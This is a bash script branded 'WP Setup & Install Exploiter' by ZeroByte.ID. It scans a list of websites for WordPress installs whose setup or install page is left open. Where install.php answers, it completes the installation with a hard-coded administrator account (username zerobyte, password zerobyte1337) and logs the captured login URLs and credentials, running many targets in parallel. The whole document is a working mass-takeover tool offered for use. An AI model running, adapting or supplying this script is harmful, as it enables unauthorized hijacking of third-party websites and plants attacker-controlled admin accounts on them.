#!/bin/bash
######################################################################
# Name     : WP Setup & Install
# Vendor   : http://zerobyte.id/
# Issued on 24 March 2019
# Recoded? only changed and delete copyright? Don't be a bastard dude!
######################################################################
cyan='\033[0;36m'
green='\e[92m'
red='\033[0;31m'
ijo="\e[92m"
putih="\e[97m"

banner(){
clear
printf "${ijo}
  ${putih}[${ijo}+${putih}] WP Setup & Install Exploiter ${putih}[${ijo}+${putih}] ${ijo}
  ███╗   ██╗ ██████╗ ██╗███╗   ██╗███████╗████████╗ █████╗ ██╗     ██╗     
  ████╗  ██║██╔════╝ ██║████╗  ██║██╔════╝╚══██╔══╝██╔══██╗██║     ██║     
  ██╔██╗ ██║██║  ███╗██║██╔██╗ ██║███████╗   ██║   ███████║██║     ██║     
  ██║╚██╗██║██║   ██║██║██║╚██╗██║╚════██║   ██║   ██╔══██║██║     ██║     
  ██║ ╚████║╚██████╔╝██║██║ ╚████║███████║   ██║   ██║  ██║███████╗███████╗
  ╚═╝  ╚═══╝ ╚═════╝ ╚═╝╚═╝  ╚═══╝╚══════╝   ╚═╝   ╚═╝  ╚═╝╚══════╝╚══════╝
                                                      ${putih}Z e r o B y t e . I D
"
}
skuy(){
  Array=('/' '/new' '/blog' '/blogs' '/demo' '/wp' '/wordpress' '/tes' '/test' '/web')
  for path in "${Array[@]}"; do
    skuy=$(curl -s -k --compressed --connect-timeout 5 "$site/$path/wp-admin/setup-config.php?step=0" -L)
    if [[ $skuy =~ 'setup-config.php?step=1' ]]; then
      printf "$green[+] Found Setup $site/wp-admin/setup-config.php [WP Setup & Install Exploiter - ZeroByte.ID]\n"
      echo "$site/wp-admin/setup-config.php" >> wp-setup.txt
    fi
    if [[ $(curl -s -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36" $site/wp-admin/install.php | grep -o 'English (United States)') =~ 'English (United States)' ]]; 
    then
      echo "[+] Maybe Vuln"
      exploit=$(curl --silent -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36" -d "weblog_title=Killer&user_name=zerobyte&admin_password=zerobyte1337&admin_password2=zerobyte1337&admin_email=$email" $site/wp-admin/install.php?step=2 | grep -o '<h1>Success!</h1>')
      if [[ $exploit =~ '<h1>Success!</h1>' ]];
      then
      printf "$green[+] Sukses Install!\n"
      echo "$site/wp-login.php" | tee -a result_wp.txt
      echo "Username = zerobyte" | tee -a result_wp.txt
      echo "Password = zerobyte1337" | tee -a result_wp.txt
      else
      printf "$red[-] Failed\n"
      fi
     else
    printf "$ijo$site$path$red Not Vulnerable $ijo[WP Setup & Install Exploiter - ZeroByte.ID]\n"
   fi
 done
}
banner
read -p "Your List : " list
read -p "Your Email : " email
read -p "Send Per List(10|20|30): " sending
read -p "Delay(3|5|10): " waktudelay

persend="$sending"
delay="$waktudelay"
hitung=0

IFS=$'\r\n' GLOBIGNORE='*' command eval 'list=($(cat $list))'
for (( i = 0; i <"${#list[@]}"; i++ )); do

  site="${list[$i]}"

  ngesend=$(expr $hitung % $persend)
  if [[ $ngesend == 0 && $hitung > 0 ]]; then
    sleep $delay
  fi

  skuy &
    hitung=$[$hitung+1]
done
wait